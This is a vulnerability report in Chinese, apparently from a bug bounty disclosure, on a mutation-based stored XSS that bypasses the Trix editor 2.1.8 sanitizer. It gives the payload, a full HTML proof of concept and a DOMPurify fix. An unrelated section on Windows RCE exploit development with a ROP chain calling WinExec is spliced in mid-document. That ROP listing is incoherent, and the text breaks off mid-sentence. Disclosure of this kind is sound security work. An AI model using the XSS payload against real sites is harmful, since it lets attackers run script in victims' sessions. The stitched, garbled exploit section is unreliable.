Mutation Based Stored XSS on Trix Editor version latest (2.1.8)
漏洞概述
在Trix编辑器(https://github.com/basecamp/trix)中发现了一个绕过净化器的漏洞,该绕过基于变异技术,通过复制粘贴向量可实现XSS攻击。
攻击载荷示例
1
|
copy<div data-trix-attachment="{"contentType":"text/html5","content":"<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>XSS POC"}"></div>me
|
解码HTML实体后得到以下载荷,包含变异XSS向量:
1
|
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>
|
关于此绕过技术的更多细节可参考:https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/
复现步骤
使用报告#2521419中的类似POC可以复现该漏洞,将以下代码保存为.html文件,然后复制文本"copy me"并粘贴到编辑器中,将弹出alert。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Trix Editor XSS Demo</title>
<script src="https://cdn.jsdelivr.net/npm/trix@2.1.8/dist/trix.umd.js"></script>
<link href="https://cdn.jsdelivr.net/npm/trix@2.1.1/dist/trix.min.css" rel="stylesheet">
</head>
<body>
<h1>Trix Editor XSS Demo</h1>
<trix-editor></trix-editor>
<script>
document.write(`copy<div data-trix-attachment="{"contentType":"text/html5","content":"<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>XSS POC"}"></div>me`);
</script>
</body>
</html>
|
影响
攻击者可利用这些漏洞在用户会话上下文中执行任意JavaScript代码,可能导致未经授权的操作或敏感信息泄露。
RCE利用开发过程
初始挑战
在Windows Server 2022上复现RCE遇到困难,主要问题是ROP链中使用的kernel32!WinExec偏移量在不同系统间变化。
解决方案
- Windows系统:更新PoC使用不同的ROP链,先泄露Kernel基址,然后跳转到WinExec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
; ROP Stage 1: Write "calc.exe" to a writable memory section
pop rcx ; Load "calc.exe" part into rcx
ret;
pop rax ; Load writable address into rax >0x9519000
ret;
mov [rax], rcx ; Write "calc" to writable section
; ROP Stage 2: Resolve kernel base and WinExec function address
pop rcx ; Load kernel base into rcx
ret ;
mov rax, [rcx] ; Resolve kernel function pointer
pop rbx ; Load offset to WinExec
ret ; Offset of WinExec from kernel base ->0x68820
add rax, rbx ; Calculate WinExec address
; ROP Stage 3: Prepare parameters for WinExec
pop rcx ; Load address of "calc.exe" into rcx; 0x9519000
ret;
pop rdx ; Load SW_SHOWNORMAL into rdx
ret ; 0x1 SW_SHOWNORMAL = 1
add rsp, 0x20 ; Align stack
add rax, rbx ;
; ROP Stage 4: Trigger WinExec
call rax ; Call WinExec("calc.exe", SW_SHOWNORMAL)
|
- AWS环境验证:在AWS上创建Windows Server 2022实例验证漏洞,发现偏移量-423328在所有AWS托管的Microsoft Windows Server 2022实例中保持一致
macOS利用
也为macOS ARM架构编写了PoC,但承认创建高度可靠的漏洞利用需要更多资源和时间。
修复方案
初始修复
部署了基于DOM净化器(DOMPurify)的修复方案:
1
2
3
4
5
6
7
|
sanitize() {
return this.sanitizeElements(),
this.body = Nr(tl.sanitize(this.body, {
ADD_ATTR: ["language"]
})),
this.normalizeListElementNesting()
}
|
安全建议
发现Nr方法存在潜在风险,它使用正则表达式移除闭合